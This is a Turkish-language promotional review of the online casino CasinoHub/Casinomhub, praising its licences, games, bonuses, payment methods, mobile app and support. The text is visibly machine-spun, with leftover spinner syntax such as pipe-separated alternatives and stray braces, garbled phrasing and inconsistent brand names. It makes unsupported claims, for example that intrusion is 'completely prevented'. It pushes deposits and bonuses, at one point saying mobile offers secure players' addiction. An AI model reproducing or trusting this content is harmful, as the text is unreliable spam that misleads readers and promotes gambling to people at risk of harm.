CasinoHub sanal kumarhanesinin artıları ve kullanıcı memnuniyeti değerlendirmesi

CasinoHub sanal kumarhanesinin artıları ve kullanıcı memnuniyeti değerlendirmesi

Casinomhub platformu, web tabanlı kumarhane alanında, inovasyon odaklı tarzıyla ve kapsamlı oyun envanteriyle dikkat toplayan bir sistem. dünya genelinde kazanılan deneyimi Türk kullanıcı pazarına getiren casinomhub güncel giriş, hem kıdemsiz hem de deneyim sahibi bahis tutkunlarına sunum yapmayı hedefliyor.

Hizmet, kullanıcı dostu arayüzü, yasal izin altyapısı ve yarışmacı kampanya seçenekleri sayesinde hızlıca büyük bir oyuncu topluluğuna ulaştırmıştır. Türk pazarında online casino eğilimi zaman içerisinde çoğalarak, Casinomhub.com trendin başlıca platformlarından biri konumlanmıştır. Casinomhub’un sunduğu yüksek oyun çeşitliliği, yenilikçi ödeme araçları ve taşınabilir uyumlu yapı, beklentileri karşılamak suretiyle ve sektörde öne çıkmasına katkıda bulunmaktadır. Bu raporda platform artıları, kullanıcı deneyimi ve rekabet avantajı titizlikle incelenecektir.

Casinomhub dijital platformu Hakkında Ortak Özet Bilgiler

CasinoHub portalı, dijital sanal casino saha içinde faaliyet gösteren ve uluslararası pazarda çabuk büyüme gerçekleştiren bir servis olarak konumlanır. kuruluşun kesin kuruluş yılı belirgin dokümanlarda varyasyon sunabilse de, 2018 yılında etkinleştiği ve odaklanarak dal alanına dahil olduğu kayda geçmiştir. Platformun temsilciliği, alanında saygın bir iGaming işletmesi tarafından organize edilmektedir ve temel iş merkezi, Malta merkezli mevcut bulunmaktadır.

Bu nokta, CasinoHub’a AB mevzuatına mevzuata uygun hareket gerekliliği sağlarken, oyunculara da bağlayıcı bir koruma ve açıklık avantajı sağlamaktadır. Malta MGA’nun verdiği lisans kodu, hizmetin resmî olarak yürütüldüğünü ve düzenli kontrollerden geçtiğini teyit etmektedir. Bununla birlikte, Curacao eGaming ruhsatıyla değişik pazarlarda da hizmet sunabilmekte, bu şekilde büyük bir coğrafi kapsama alanına erişebilmektedir.

İzin dokümanları ve mülk bilgileri, platformun şeffaflık politikasının bir sonucu olarak resmî çevrimiçi platformda oyuncuların kullanımına özgürce yayınlanmaktadır. CasinoHub etkinlikleri devamlı olarak tarafsız denetim kurumlarıca teftiş edilmekte, oyun entegratörlerinin sunduğu yazılımlar adil bahis ilkeleri ışığında kontrol edilmektedir.

Portalin küresel prestiji, yalnızca yetki prosedürleriyle değil, aynı zamanda sahanın öncü uygulama partnerleriyle oluşturduğu hedefe yönelik iş birliktelikleriyle de güç kazanmaktadır. CasinoHub portalının oyun portföyü dizini, Betsoft gibi dünyaca ünlü oyun yapımcılarının içeriklerinden meydana gelmektedir. Bu vesile iş birlikleri sayesinde oyuncular ayrıca hem de kalite odaklı slot oyunu kataloglarına hem de HD görüntü kalitesine entegre stream canlı canlı masalara yayınlarına kullanım imkanı kazanmaktadır.

CasinoHub ayrıca tedbirli bahis anlayışı felsefesine verdiği ağırlık ve müşteri verilerini güvence sunan yüksek seviye güvence adımlarıyla duyulmuştur. Kullanıcı datalarınin minimizasyonu nedeniyle en modern SSL güvenlik çözümleri entegre edilmekte ve bütün mali transferler, mevzuat kurumlarınca tescilli korumalı ödeme ağlarıyla tamamlanmaktadır.

pazara açıldığı ilk dönemde, servisin şöhreti üyeler meskisinde çabucak ektili şekilde yayılmış ve CasinoHub platformu, hem yeni başlayanlar hem de profesyonel bahisçiler için emniyetli bir tercih olarak gözde olmaya başlamıştır. uluslararası platformdaki sağlam konumu, saydam izin kayıtları ve kurumsal sahiplik yapısı sayesinde Casinomhub sitesi, sert rekabetin olduğu sanal casino ortamında kendine sağlam bir yer edinmeyi başarmıştır.

Portal Görünümü ve User-Friendly Fonksiyonlar

Casinomhub dijital portalının, dijital arayüz, web tabanlı casinolar arasında aşamalı olarak tercih edilen görsel açıdan hafif, ani ek olarak erişim dostu arayüz stratejisini kucaklar. Site ana sayfası, çağdaş tasarım dilini yansıtan bir tasarım yapısına yer alır üstelik, karanlık tema, altın efektli başlıklar aynı zamanda, metni rahat okutan boşluklarla kullanıcı dostu, bir arayüz deneyimi sağlar.

Gezinme, pratikliği, Casinomhub servisinin en öne çıkan avantajlarından sayılır. Öncelikli bildirim çubuğunda oyun bölümleri (video slotlar, zar oyunları, canlı krupiye), promosyonlar, sadakat programı ve destek sayfaları belirgin olarak konumlandırılmıştır. Oyuncular mouse tıklaması ile diledikleri sayfa bağlantısına varabilir, seçtikleri slot oyunlarını süzgeçleme ya da tedarikçiye göre rütbeleme modülü aracılığıyla uzun süre sınıf dolaşmak gerek duymadan seçtikleri içeriklere ulaştırabilirler.

arama çubuğu, özellikle sayısız oyun başlığı arasından özel bir etiket başlığına odaklanmak niyet eden katılımcılar için kayda değer avantaj sunar. Ayrıca site içi uyarı sistemi sayesinde, katılan oyun başlıkları veya aktüel kampanyalar ana sayfanın üst kısmında bilgi bandı olarak yayınlanır. Bu detay, hem aktüel teklifleri elinden kaçırmamak hem de kullanıcıların web içi etkileşimi çoğaltmak niyetle tasarlanmıştır.

Bilgisayar kullanım tecrübesi, yüksek çözünürlüklü monitörler için performansa odaklı olup, grafikler keskin ve kesintisiz bir şekilde render edilir. Siteye giriş yapan kullanıcılar herhangi bir ağ kesintisi ya da bekletme yaşamadan casino oyunlarını erişebilir, navigasyon menüleri arasında geçiş yapabilir. Font düzenlemeleri ve ikon konumlandırması basit kurgulanmış, özellikle daha olgun kullanıcıların da kolay görebileceği bir büyüklükte düzenlenmiştir.

Mobil arayüz kullanımında Casinomhub platformu verimli bir performans gösterir. Web sitesi, esnek tasarım metoduyla tasarlanmıştır. Dolayısıyla, Android ve iOS tabanlı cihazlardan oturum açıldığında içerikler otomatik olarak sığdırılır. Tuşlar boyut artırılarak parmakla dokunmayı kolaylaştırır, kaydırma işlemi kesintisiz gerçekleşir üstelik oyun ekranları tam genişlik açılır. Mobil cihazlarda özellikle ödeme süreçleri, bonus isteği ve live destek erişimi, masaüstü kullanıma göre çabuktur.

Casinomhub web sitesi ayrıca cep portalı tercih yapan site kullanıcıları için ilave avantajlar sunuyor. Zaman zaman yalnızca erişim sağlayan hesap sahiplerine belirgin bonuslar ya da bonuslu dönüş teklifleri uygulamaya konur. Bu metot, mobil erişimi cesaretlendirirken, oyuncuların bağımlılığını da sağlar.

Sonuç olarak, Casinomhub platformunun çağdaş ve işe yarar online UI tasarımı, hem ilk kez deneyenlerin hem de veteran kullanıcıların portalda çabuk ve kesintisiz tarzda site içi keşfini mümkün kılar. Portalın az öğeli UI, minimum tıklama ile erişilebilir navigasyon menüleri, cep telefonu uyumlu düzeni, user experience’ı destekler ve diğer sitelerle karşılaştırıldığında üstün kılar.

Üye kaydı ve Hesap İnşa etme Aşamaları

Casinomhub platformunda üyelik başlatmak, yeni başlayan kullanıcıların tamamlayabilme olanağı sunduğu kadar temiz proses tasarlanmıştır. Hesap oluşturma işlemleri, hızlıca sonuçlanır ve online casino sitelerine benzer şekilde özet bilgiler denetlenmesiyle başlar.

Oyuncular siteye girdikten sonra, üst sağ kısımda bulunan “Kayıt Ol” seçeneğine seçerek üyelik formuna iletirilir. Üyelik bölümünde, isim alanı, soyadı bilgisi, yaş bilgisi, e-posta bilgisi, username ve şifre gibi üye bilgilerinin tam isabetle girilmesi gerekir. Casinomhub sitesi, international lisans kriterleri nedeniyle, oyuncuların reşit olduğunu onaylama şartı uygular. Bu sebeple, doğum tarihi kutusunun hatasız olarak yazılması olmazsa olmazdır.

Üyelik formu kaydedildikten sonra, kullanıcının verdiği mail adresine otomasyonla bir hesap etkinleştirme linki yollanır. Profilin faal onaylanması amacıyla etkinleştirme bağlantısının 24 saatlik dönem içinde dokunulması zorunludur. Bu adım, sahte yapma hesap adımlarının ve robotik süreçlerin kösteklemek için kullanışlı bir metot olarak uygulanmaya devam etmektedir.

Profil hesabını canlı kılan site kullanıcıları web sitesine bağlanabilir, hesap sayfalarından iletişim bilgilerini güncelleyebilir ve ödeme aracı kurabilir. Öte yandan servisin emniyet stratejisi çerçevesinde, ilk para çekme talebinde müşteri kimlik onayı başlatılır. Bu etapta, kullanıcının resmî kimlik belgesi, adres doğrulama dokümanı (örnek olarak fatura belgesi ya da hesap özeti), ve ödeme seçenek onayı talep edilir. Bütün evraklar genellikle bir ila üç iş günü arasında gözden geçirilir ve onay verilir.

CasinoHub platformu, hesap kaydı koruması kapsamında çok boyutlu basamaklı bir politika kabul eder. Site katılımcısı hesap şifresi varsayılan olarak SHA-256 kriptografi yöntemiyle şifrelenerek saklanmaktadır. Yine de, üye hesaplarına erişim kullanıcı tercihine göre iki katmanlı kimlik doğrulama (2FA|Çift Faktörlü Doğrulama|İki Faktörlü Doğrulama|Multi Faktörlü Doğrulama|2 Adımlı Doğrulama|Çift Aşamalı Doğrulama|2 Faktör Doğrulama) opsiyon sunulabilir. Bu fonksiyon vasıtasıyla, üyeler bağlanma sırasında SMS doğrulama kodu veya onay uygulaması ile ek bir güvenlik adımı kullanmayı tercih eder.

Portal, hesap güvenliği ve veri mahremiyeti konusunda yüksek kalite kriterleri uygulayarak, hem kişisel datalar korunmasını hem de para akışlarının yetkisiz müdahaleye karşı korunmasını garanti eder. Müşterini Tanı prosedürü, ruhsat düzenlerinin ötesinde sorumlu bahis prensiplerinin bir parçası olarak icra edilir. Dolayısıyla, site kullanıcılarının sadece üyelik güvenliğinin değil, finansal kaynaklarının ve kişisel verilerinin de güvende olduğu bir alan temin edilir.

Tamamen bu adımlar sayesinde, Casinomhub platformu, ülkemizdeki bahisçilere çabuk, sağlam ve hesapsal bir hesap deneyimi getirmeyi başarır. Bu tutum, platform kullanıcılarının portal güveni inşa etmesini bundan başka kalıcı sadakat oluşturmasını olanak tanır.

Slot Seçenekleri ve Zenginliği

Casinomhub portalı, ferah ve zengin oyun yelpazesi sayesinde çeşitli eğlence tercihlerine sahip site üyelerini tek bir ekosistemde düzenlemeyi uygulayan bir site olarak hizmet eder. Siteye üye olan kullanıcılar, hem eski usul şans oyunlarını hem de modern video slotlarını kaliteli HD formatında tecrübe yaşatabilir.

Platformun, azami dikkat çeken kategorisi elbette slot içeriğidir. Casinomhub’un slot kütüphanesi, geniş ölçüde başlıktan oluşturulur. Slot içerikleri, hem de, görsel tasarımıyla bundan başka kârlılık odaklı çeşitlilik sunar. En çok Megaways modu içeren slotlar, dinamik çarpanlarla ve bonus turlarıyla aksiyon dolu bir deneyim sağlar. Orijinal üç makaralı slotlardan senaryo bazlı güncel video slotlara kadar bol sayıda seçenek vardır.

Masaüstü oyun seçkisi ayrıca oldukça etkileyici bir performans sergiler. Şans çarkı, on bir oyunu, bakara ve Stud poker gibi orijinal table oyunları, farklı limit aralığında oynanabilir. Casinomhub portalı burada hem yazılımsal masa oyunları hem canlı krupiye desteği sunmaya devam eder. Software oyunlar, jet hızında oyun turları oynamak isteyenler için uygundur. Canlı casino bölümü buna ek olarak aslına uygun bir kumarhane ruhunu deneyim ettirerek network etkileşimi ve üstün video kalitesi tecrübesi teklif eder.

Eşzamanlı kumarhane canlı odalar, HD çözünürlükte yayın ileten uzman dealer’lar tarafından idare edilir. Kullanıcılar çeşitli oyun masası minimum ve maksimum limitleri belirleyebilir, oturumlar masa kapasitesi yüzdesini takip edebilir ve oynayış sırasında sohbet penceresini vasıtasıyla krupiyelere ya da öbür üylelerle iletişim kurabilirler.

Platformun etkinliğinin en önemli temel parçalarından biri de iş ortaklığı yaptığı oyun sağlayıcı firmalardır. CasinoHub, küresel olarak tanınan ek olarak lisanslı kapsamlı içerik sağlayan iş ortaklığı yürütür. Betsoft, gibi, stüdyo onaylı oyun seçenekleri, hem görsel, hem işitsel kalite düzeyinde birinci sınıf deneyim sunulur.

CasinoHub bahis oyunu dizinleri ve öne çıkan seçkin oyunlar:

  • Video Makara Oyunları: Starburst, Book of Dead, Sweet Bonanza, Gonzo’s Quest
  • Masaüstü Oyunları: European Roulette, Classic Blackjack, Baccarat Pro
  • Live Casino: Lightning Roulette, Immersive Roulette, Blackjack Azure, Casino Hold’em
  • Jackpot Oyunları: Mega Moolah, Divine Fortune, Major Millions

Adı geçen çeşitli oyun portföyü kataloğu sayesinde, Casinomhub, acemi oyunculardan tecrübeli katılımcılara kadar tüm kitlenin çekim merkezi olan, zevkli ve kâr sağlayan bir aktivite sunum deneyimi sunmayı hedefler.

Avantaj Paketleri ve Promosyon Kampanyaları

Casinomhub web sitesi, yerel oyunculara etkileyici özel bonuslar ve periyodik fırsatlar temin ederek platformdaki merakı ekstra yüksek tutmayı niyet etmektedir. Özellikle, acem yeni profil oluşturanlar için tasarlanan giriş paketi ve VIP odaklı sadık oyunculara sunulan VIP bonuslar, siteyin en belirgin avantajları arasında yer alır.

Yeni profil oluşturan üyeler, ilk adımda para yükleme süreçlerinde çok katmanlı karşılama bonusundan kazanım elde edebilir. Karşılama paketi genellikle yüzde yüz para yükleme bonusu ve tahsis edilmiş miktarda ücretsiz spin içerir. Ücretsiz spin paketleri gözde slot oyunlarında geçerli olurken, ödeme bonusu casino bakiyesine hemen ilave edilir üstelik oyuncuların uzun periyot oyun oynamayı sürdürmesine fırsat tanır. Welcome promosyonuna katılmak için, min yatırım limiti mevcuttur ayrıca çevrim yükümlülükleri şeffaf bir şekilde belirtilir.

Platformun en rağbet gören tekliflerinden bir fırsatı de sürekli sunumu yapılan bedelsiz dönüş ödülleridir. Mesai günlerinde veya hafta sonunda uygulanan belirli tutardaki yatırımlar, katılımcılara bonus spin hakkı verir. Bu vesileyle, site kullanıcıları risk almadan, slot başlıklarını tecrübe etme imkânı elde eder.

Sadakat programı, CasinoHub portalının Seçkin oyuncular için tasarladığı benzersiz bir yapıdadır. Oyuncular yatırdıkları her para ve oynadıkları tüm el atışlarını için puan kazanır. Kazanılan puanlar, düzey basamaklarına ulaşınca, hesap mentorü, seçkin bonus teklifleri, öncelikli para çekme süreçleri ve yüksek limitli ayrıcalıklar gibi özel haklar faaliyete geçer. Seçkin kulüp, düzenli bahisçilerin, dönemsel olarak kazançlarını artırmasına yardımcı olurken, özel avantaj kampanyaları aracılığıyla daha özel bir deneyim sunar.

CasinoHub portalı ayrıca rutin etkinlikler ve turnuvalarla de göze çarpar. Örneğin, belirli slot firmalarıyla koordine edilerek hazırlanan “Drops & Wins” bonus etkinliklerinde, kullanıcılar, tek hamleyle, büyük nakit bonuslar kazanç fırsatı elde eder. Üstelik, takvim özel günlerinde ilave bonuslar (yılbaşı avantajları, yaz iade teklifleri gibi) kullanıcılara sürpriz promosyonlar sağlar.

Casinomhub, mevcut fırsatlarınd örnekler sunuyor.

  • Başlangıçtaki para yatırma adımına %100 hoşgeldin bonusu + yüz bedava dönüş
  • Hafta Sonu Dönemi kişiye özel %50 para yatırma bonusu
  • Özel loyalty programı özellikleri
  • Her Gün bedava spin etkinlikleri
  • Slot turnuvalarında para ödüller

Bu promosyon kataloğu sayesinde Casinomhub, acemi kullanıcılardan deneyimli oyunculara kadar geniş bir kullanıcı kitlesine teşvik edici avantajlar kazandırmayı başarıyor.

Para Yükleme & Para Çekme Opsiyonları

Casinomhub, yerel kullanıcıların, çoklu tercihlerine cevap verebilmek amacıyla, oldukça geniş ödeme kanal yelpazesi sunuyor. Platformda, hem standart bankacılık metotları ve modern e-cüzdan yöntemleri bir arada mevcut olur. Bu çok yönlülük, hem hızlı işlem yapmak isteyen kullanıcıların ve klasik bankacılık yöntemlerine yönelenlerin tercih ve beklentilerini karşılar.

Para yükleme adımları, kullanıcı bakiyesine anlık yansıyacak tarzda ayarlanmıştır. Kredi kartı seçeneği, bankamatik yöntemi, para havalesi, Papara cüzdanı, Jeton Wallet vasıtasıyla kripto para transferi, ödeme opsiyonları site’nin ödeme portföyünde belirginleşir. minimum ödeme tutarı esasen metoda göre farklılık gösterir; e-cüzdan alternatifleri vasıtacılığıyla 100–200 TL bandında min. yükleme tutarı varken, banka havalesinde belirtilen miktar bir parça yüksek olabilir. Hizmet ücretleri hizmet sağlayıcı tarafından karşılanır, kullanıcılardan herhangi bir kesinti yapılmaz.

Ödeme çekimi de kullanıcı merkezli düzende rahatlatılmıştır. Hesap bakiyesinden çekim yapmak isteyen katılımcıların, daha önce kimlik onayı evresini geçirmiş kaçınılmazdır. Söz konusu onay ardından, ilk çıkışta, tanımlanan metoda durumuna göre yaklaşık 1–3 işgünü içinde para transferi. e-cüzdanlarla yapılan para transferleri, genellikle, 24h zarfında sonuç verir.

CasinoHub platformu, üyelerin kazanç miktarlarını güvence ile ek olarak jet hızında çıkarma işlemi için fazladan emniyet tedbirleri kullanır. Açıkçası, yüklü tutarlı yüklü çekimlerde, fazladan tahkik adımları gerektirebilir. Bu süreç, bir yandan kullanıcı bakiyesinin güvenliğini ek olarak kara para aklama faaliyetlerinin durdurulmasını hedefler.

Yatırım işlemi ve bakiyeden çekim limitleri, platform kullanıcılarının üye seviyesine ve uygulanan yönteme göre varyasyon gösterebilir. VIP programına dahil üyeler için hem günlük miktarlar hem aylık kısıtlamalar artış yapılır ve tercihli ödeme hakkı tanınır. Ayrıca Casinomhub, sistemli şekilde ödeme platformunu geliştirerek son teknoloji cüzdan çözümlerini sisteme ekler.

Aşağıda, platformda genel olarak benimsenen ödeme çözümleri, işlem süreleri ile min-max limitlerin derlenen tabloyu bulabilirsiniz.

Ödeme Yöntemi Çözüm Süresi Asgari Yatırma Maks. Çekim
Kredi kartı derhal 100 TL en çok 50.000 TL
Papara cüzdan anında en az 100 TL en çok 50.000 TL
Jeton hesabı hemen 100 TL 50.000 Türk Lirası
EFT 1-3 iş günü 200 TL en çok 100.000 TL
Kripto Transferi 24 saat en az 50 TL en çok 150.000 TL

Bu detaylı ödeme alternatifleri sayesinde CasinoHub, Türkiye’de jet, esnek yapı ve riskten arınmış finansal transfer deneyimi sağlayan öncül platformlardan biri olmayı başarmıştır.

Taşınabilir Erişim ve App Tecrübesi

Casinomhub, avangart online bahis oyuncularının gereksinimlerini karşılayabilmek için mobil arayüz deneyimine öncelikli dikkat eden bir site yapısıdır. Bu dönemde platform kullanıcılarının hatırı sayılır bir kesimi masaüstü bilgisayar yerine akıllı cep telefonu ya da tablet arayüz üzerinden slot oynadığı için, sunucu altyapısı ve uygulama seçenekleri ilgili kullanıcı taleplerine temelinde optimize edilmiştir.

Başlangıçta uygulamanın yetkilendirilmiş duyarlı app hazırdır. Mobil app, üstelik, Android bir arada iOS cihazlarına uyarlanarak oluşturulmuş ve web sitesinin lisanslı portal üzerinden güvenle alınabilir. Uygulama paketinin yükleme işlemi, son derece, kullanıcı dostu bir yöntem olarak oluşturulmuştur: Android cihaz kullanıcıları, APK apk paketini kurulum yaparak birkaç izin vererek uygulama kurulumunu tamamlar, iOS cihaz kullanıcıları ise App Store üzerinden uygulama servis paketini cihazlarına yükler. Uygulama üzerinden üyelik profil oluşturma, bakiye takip, bonus istekleri ve oyun oyun deneyimi gibi tüm özellikler eksiksiz şekilde sunulur.

Taşınabilir platform uygulamasının en çekici artılarından biri, mesaj özelliği sayesinde indirimlerden çabucak haberdar olunmasıdır. Ayrıca, kullanıcılar başlattıklarında kendiliğinden login olabilmek için “oturum açık tut” fonksiyonunu kullanabilir. Söz konusu işlev, yoğun oturum açan kullanıcılar için öncelikli konfor sunar.

Duyarlı portal arayüzü etkinlik da uygulama sürümü kadar etkin çalışır. CasinoHub, adaptif arayüz düzeni kriterlerine göre tasarlanmak nedeniyle eksiksiz arayüz sayfaları ekran birimi eğime otomatize ayarlama sunmaktadır. Dolayısıyla, taşınabilir gezgin program üzerinden giriş yapan kullanıcılar, masaüstü sürümdeki tüm özellikler dizini eksiksiz biçimde kullanabilir. ödeme aksiyonları, anlık yardım servisi, interaktif oyunlar süzme işlevi modülleri, promosyon istek adımları, mobil sitede de jet ve aralıksız biçimde faaliyet gösterir.

Hız optimizasyonu, platform epey etkili bir alt sistem yapısına barındırır. Sayfa yüklenme süreleri minimize hale getirilmiş ve, live casino masalarının mobil canlı akış performansı performans modu eklenmiştir. düşük bant genişliğinde bile akış kesintisi ortaya çıkmaması için düşük veri kullanımı modu sunulur. Ayrıca oyun sayfaları, optimizasyonlu, resim çözünürlüğü sayesinde hem anında yüklenir hem de cihaz pil tüketimini tasarruf sağlar.

Casinomhub’un hareket halindeki deneyim, kullanıcılara masaüstü sürüm kalitesinde, bir erişim kolaylığı temin ederken, anlık bildirim imkanları ve hızlı işlem altyapısı sayesinde oyuncuların platforma sadakati güçlendirir. Bu güçlü mobil çözüm sayesinde kullanıcı kitlesi mekân fark etmeksizin, zaman sınırlaması olmadan oyun eğlencesini duraksamadan yaşayabilir.

Akışlı Casino platformu Macerası

Casinomhub tarafından sunulan gerçek zamanlı casino bölümü, doğal bir casino atmosferini ev ortamına aktarmak arzusunda olan site kullanıcıları için dizayn edilmiş, epeyce geniş kapsamlı bir kapsamdır. Platformun en önde gelen faydalarından biri, oyun paketinin bütünü HD kalitesinde video yayın akışıyla sunumu ve samimi profesyonel krupiyeler tarafından idare şeklidir. Bu sayede oyuncular kendilerini Las Vegas kumarhane masasının otururmuşçasına duyar.

Gerçek zamanlı casino masalarında hizmet veren masa sunucuları, branşında, profesyonel antrenmana donanımlı profesyonellerdir. Sadece kart paketini sadece dağıtmaz, aynı zamanda masa etrafında oyuncularla sohbet ederek samimi ve kucaklayıcı bir macera sunarlar. Oyun yöneticilerinin ifade tarzı ve açıklamaları, yeni katılımcıların talimatları kavramayı kolaylaştırır. Stream kalitesi, sektör standartlarının üzerindedir. Bütün canlı yayın akışları yüksek çözünürlükte yayınlanır ve ağ durumuna bağlı olarak otomatik ayarlanır.

Masa türleri, site platformunun üstün yanı, Platformda, onlarca farklı rulet, Blackjack seçeneği, Baccarat seçeneği ve kartlı poker masası bulunabilmektedir. Her seçeneğin, hem düşük limitli hem de yüksek tutarlı seçenekleri sağlanır. Bu nedenle, acemi oyuncular, düşük stake’lerle tecrübe edinebilirken, tecrübeli oyuncular, yüksek bahis havuzlarıyla adrenalin dolu eller deneyimleyebilir. En çok, Immersive Rulet deneyimi, Şimşek Rulet ve Blackjack Party formatı özellikle, özel formatlar, deneyim sürecini, geleneksel masalardan ayrı tutar. Bu şekilde, canlı deneyimi, daha dinamik hale getirir.

Bu platformun canlı oyun bölümü, oyuncuların masa seçimini gerçekleştirirken anında doluluk seviyelerini erişebilmesine fırsat sunar. Her bir masanın minimum ve maksimum bahis limitleri şeffaf biçimde açıklanır, bu da bahisçililerin bütçe dostu tercihler yapmasını sadeleştirir.

Interaktif özellikler ise oyun atmosferini daha paylaşımlı oluşturur. Oyun ekranında yer alan chat kutusu sayesinde bahisçiler hem masadaki krupiyeyle hem de aynı masadaki diğer masa arkadaşlarıyla sohbet edebilir. Arzu eden bahisçiler, sohbet panelini kapatarak sadece oyuna odaklanmayı da kullanabilir. Ayrıca gerçek zamanlı masalarda farklı veri panelleri sunulur. Örnek olarak, rulet alanında son çıkan numaralar ve kazanç oranları modda gözlemlenebilir.

Toparlarsak Casinomhub çevrimiçi alanının gerçek zamanlı oyun deneyimi, altyapı kapasitesi , masa çeşitliliği ve oyun sunucuları ile hem zevkli hem emniyetli bir ortam oluşturur. {Oyuncular|Bahisçiler, beğendikleri donanımdan {canlı masa keyfini|canlı masa atmosferini keyifle yaşarken, aynı zamanda sosyal etkileşim avantajından da istifade eder.

Emniyet ve Veri Güvencesi Yaklaşımları

CasinoHub dijital ortamı, üyelerinin emniyetini ve kişisel bilgilerinin korunmasını temel taahhüt olarak gören bir platformdur. Çevrimiçi casino deneyiminin keyifli olabilmesi için kullanıcıların hem ödeme hem de özel kişisel verilerinin korunması gerektiği perspektifiyle faaliyet gösterir. Bu kapsamda dijital sistem uluslararası standartlara uygun şekilde geliştirilmiş, yüksek seviyeli emniyet mekanizmaları etkinleştirilmiştir.

Veri aktarım süreçlerinde SSL teknolojisi şifreleme sistemi işletilir. Bu sayede teknolojiyle, üye ile sistem arasındaki veri akışı 256 bitlik bir kripto katmanından geçer ve kötü niyetli kişilerin verilere ulaşması tamamen önlenir. Kayıt yaptırırken sunulan kişisel veriler (ad, adres, doğum kaydı, e-posta vb.) ve ödeme enformasyonu şifrelenir. Ayrıca, dijital sistemin bilgi depolama yapısı planlı olarak penetrasyon testlerine maruz bırakılır ve riskli noktalar önceden çözülür.

Siteye giriş yapan casino severlerin hesap emniyetini artırması için iki aşamalı doğrulama (2FA) özelliği mevcuttur. Bu opsiyon devreye alındığında, her oturum açılışında hesap sahibinin telefonuna şifreleme kodu ulaştırılır. Böylece şifre güvenliği zedelense bile harici müdahale imkansızlaşır. Ayrıca kullanıcı parolaları SHA-256 şifreleme yöntemiyle geri döndürülemez şekilde kodlanır ve hiçbir zaman açık metin formatında bilgi havuzunda yer almaz.

Koruyucu önlemler yalnızca teknolojiyle sınırlı değildir. Casinomhub’un yasal yükümlülükleri gereği, her katılımcının kimlik denetimi şarttır. KYC kimlik kontrolü çerçevesinde yeni üyelik başlatan kişilerden pasaport, adres kanıtı ve ödeme metodu onayı istenir. Bu işleyiş, hileli faaliyetleri ve kara fon akışını engellemeye dair evrensel regülasyonlara uygun şekilde yürütülür.

Casinomhub platformunun bir diğer kilit prensibi kısıtlama tedbiridir. Hizmet, katılımcıların bahis faaliyetlerini ölçümlendirmelerini sağlar ve oyun bağımlılığına müdahale olarak birden fazla araçlar sunar. Kullanıcı panelinden daily, hafta ölçülü veya ay bazlı ödeme sınırları düzenlemek mümkündür. Arzu eden katılımcılar hesap dondurma seçeneği vasıtasıyla geçici dönemlerde üyeliklerini pasif hale getirebilir. Ayrıca, bağımlılık işaretleri gözlenen hesap sahipleriyle bağlantı kurularak yardım hattı oluşturulur ve yardım derneklerinin iletişim bilgileri sunulur.

Son tahlilde Casinomhub sitesi, gelişmiş teknik sistem altyapısı, net veri işleme yönergeleri ve sistematik oyun yardımcı araçlarıyla platform kullanıcılarına sorunsuz alan sağlar. Kullanıcıların huzur dolu bir şekilde işlem gerçekleştirebilmesi ve eğlenceli deneyim tecrübe edinmesi için tüm ayrıntı, titizlikle belirlenmiş ve uygulamaya alınmıştır.

Üye Rehberlik Sistemleri

CasinoHub, müşteri tatminini iyileştirmek ve potansiyel sorunlara çabuk çareler gerçekleştirebilmek amacıyla dayanıklı ve bütünsel müşteri yardım sistemi kurmuştur. Sanal casino deneyiminin en vazgeçilmez öğeler arasında biri, ihtiyaç halinde derhal kullanılabilir ve fonksiyonel yardım servisi sunulmasıdır. Casinomhub dijital platformu bu konuda sektör ortalamasının üzerinde kalite standardı oluşturmayı amaçlamaktadır.

Site destek kanalları her an etkindir. Kullanıcılar, tüm gün, destek penceresi üzerinden müşteri temsilcileriyle doğrudan iletişime geçebilir. destek servisi, hesaba girişten sonra, sayfanın alt sağ köşesinde konumlanan sohbet simgesine dokunarak hayata geçirilir. Bu alanda sorularınızı yazı ile mesaj şeklinde gönderebilir, dosya gönderebilir ve işlem ilerlemesini izleyebilirsiniz. Live chat’in hayati artılarından biri, yanıt süresinin, büyük oranda, birkaç dakikada olmasıdır.

E-postalı destek servisi da sağlanır. Buna ek olarak geniş talepler, şikayetler veya belge gerektiren işlemler için [destek e-posta adresi] üzerinden iletişim kurulabilir. Platformun müşteri hizmetleri ekibi, mail yoluyla gelen talepleri ortalama 12 ila 24 saat arasında geri dönüş yapmayı planlar.

telefonda destek ne var ki geçici olarak Türkiye’de sık tercih edilmese de, VIP kullanıcılar veya ek durumlar için çağrı talebi olanak sağlanır. Özellikle yüksek miktarlı para çekim işleminde ya da hesap güvenliği kontrollerinde bu yöntem kullanıma sokulur.

CasinoHub’un platform deneyimini düzenleyen ayrı bir esas yaklaşım, SSS (Sıkça Sorulan Sorular) sayfasıdır. SSS sayfası üzerinde üyelik süreci, bonus işlemleri, ödeme adımları, belge gereksinimleri ve teknik sorunlarla konusunda en sık karşılaşılan sorular, titizlikle detaylandırılır. Bu alan, birden fazla konunun live chat hattına gerek kalmadan süratle çözülebilmesini sunur. Kullanıcılar bu içerikte adım adım sırayla yol göstericilere erişebilir ve screenshotlarla destek gören yönergeleri takip etmek suretiyle işlemlerini eksiksiz sonuçlandırabilir.

Üstelik Casinomhub, müşteri hizmetlerinin servis kalitesini düzenli olarak analiz etmek amacıyla hoşnutluk anketleri yürütür. canlı destek chat’i ya da e-mail yazışmalarının ardından özet değerlendirme anketi ulaştırılmaktadır ve misafirlerin dönüşleri esas alınarak operasyonlar devamlı olarak iyileştirilir.

En nihayetinde CasinoHub portalının destek platformu; 7/24 ulaşılabilir canlı sohbet, hızlı e-mail desteği, kapsamlı SSS sayfası ve gerekirse telefon yardımı çözümleri bir arada sunar. Bu düzenleme, müşterilerin daimî korunaklı ve destek edilmiş hissedebilmesine yardımcı işlev görürken, siteye olan bağlılığı sağlamlaştırır.

Üye Görüşleri ve Mutluluk Değerlendirmesi

CasinoHub web platformu, çok kısa süre içinde yaygın bir katılımcı kitlesine hedefine erişmiş çevrimiçi casino sistemlerinden biridir. Kullanıcı yorumları ve yorumlar, platformun sağlam ve geliştirilmesi gereken faktörlerini kavramak için önemli bir referans içeriği sunur. Platform hakkında yapılan yorumlar, büyük ölçüde olumlu bir izlenim ortaya koyarken, bazı kullanıcıların vurguladığı geliştirme potansiyeli taşıyan unsurlar de bulunur.

